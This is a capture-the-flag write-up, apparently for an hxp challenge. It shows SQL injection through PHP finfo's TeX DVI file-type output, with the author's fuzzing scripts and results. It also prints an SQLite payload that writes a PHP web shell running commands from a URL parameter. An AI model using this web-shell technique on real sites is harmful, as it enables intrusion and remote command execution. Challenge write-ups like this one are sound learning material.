Hacking a web application using magic files, sqlite3 injection and finally RCE.

The challenge is very minimalistic and it took me quite a while to figure out as the vulnerability is not clear at first few glances.

Any file you upload to the application, it figures out the file type using finfo_file, and stores this information in an SQLite database.

$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";

The insert statement is not parametrised; it’s vulnerable to SQL injection. But we don’t directly control what’s being inserted here. It’s coming out of php’s finfo->file. Initially, I ignored this and moved on to look for further vulnerabilities. After getting nowhere after hours, I tried to create a dataset of 100,000 files that I can pass to finfo->file and find out any file format that lets us inject some bytes.

It’s pretty easy to create random files using os.urandom and python.

>>> import os

>>> for f in range(0, 100000):

... fp = open(str(f), 'wb')

... fp.write(os.urandom(1000))

... fp.close()

...

>>>

Here we have 100,000 files each with 1000 random bytes. I made a PHP script, to test out what finfo gives us for each of these files:

<?php

error_reporting(3);

ini_set('display_errors', 3);

ini_set('display_startup_errors', 3);

echo "$argv[1]:".(new finfo)->file($argv[1])."

";

Let’s run it on all the files we have and wait for interesting stuff to appear:

find . -type f -exec php test.php {} \; > out

It takes a couple of mins to run. There are a lot of interesting formats we were able to fuzz:

./80507:MPEG-4 LOAS, 4 or more streams

./80566:zlib compressed data

./80680:zlib compressed data

./80718:DOS executable (COM)

./80746:COM executable for DOS

./80747:COM executable for DOS

./80755:TeX DVI file (d\201\206\220z \011+>\200\331\363\022z\233\274\334\031e\362\255\214\334.\2506\333G\250o\246\300\006fa\365q\007\212\016@~UR\235r\375\254\030\014-\211\374M\321*_\241\256\301$}\x\027\366\215V\372\242#\256 #\322AS\221\0

34\346yB\335b\305:\307\301\213\354\330\177\271\230;)

./80768:DOS executable (COM, 0x8C-variant)

./80840:COM executable for DOS

./80845:PGP\011Secret Sub-key -

./80946:ATSC A/52 aka AC-3 aka Dolby Digital stream, reserved frequency,, karaoke 3 front/1 rear,, 192 kbit/s

./80963:QDOS object ''

./81058:SysEx File -

./81067:PG

./82523:COM executable for DOS

./82546:PGP\011Secret Key -

./82577:PGP\011Secret Key -

./82656:DOS executable (COM, 0x8C-variant)

./82758:DOS executable (COM, 0x8C-variant)

./82826:DOS executable (COM, 0x8C-variant)

./82836:COM executable for DOS

But TeX DVI file definitely stands out. We need to be able to inject random bytes and have it returned by finfo:

root@0c653a405e70:/files# php test.php 7774

7774:TeX DVI file (ello this is aneesh'-- we have sqlite injection)

You can easily edit out the part after the header and we have an SQLite injection :). From this point onwards things are breezy.

Note: Our payload has a length limitation so we can’t just do this:

ATTACH DATABASE '/var/www/lol.php' AS lol;

CREATE TABLE lol.pwn (dataz text);

INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--

we have to split it up and use minimum characters:

Create the database file as .php and create a table that we will insert into next.

payload1

payload1 here.

2. Insert PHP code into our table and execute “cat /*”

payload2 here.

Let’s try to upload these in order and checkout lol.php.

uploads

flag

What an amazing challenge. Learned a lot about SQLite injections and file formats. Thanks, hxp!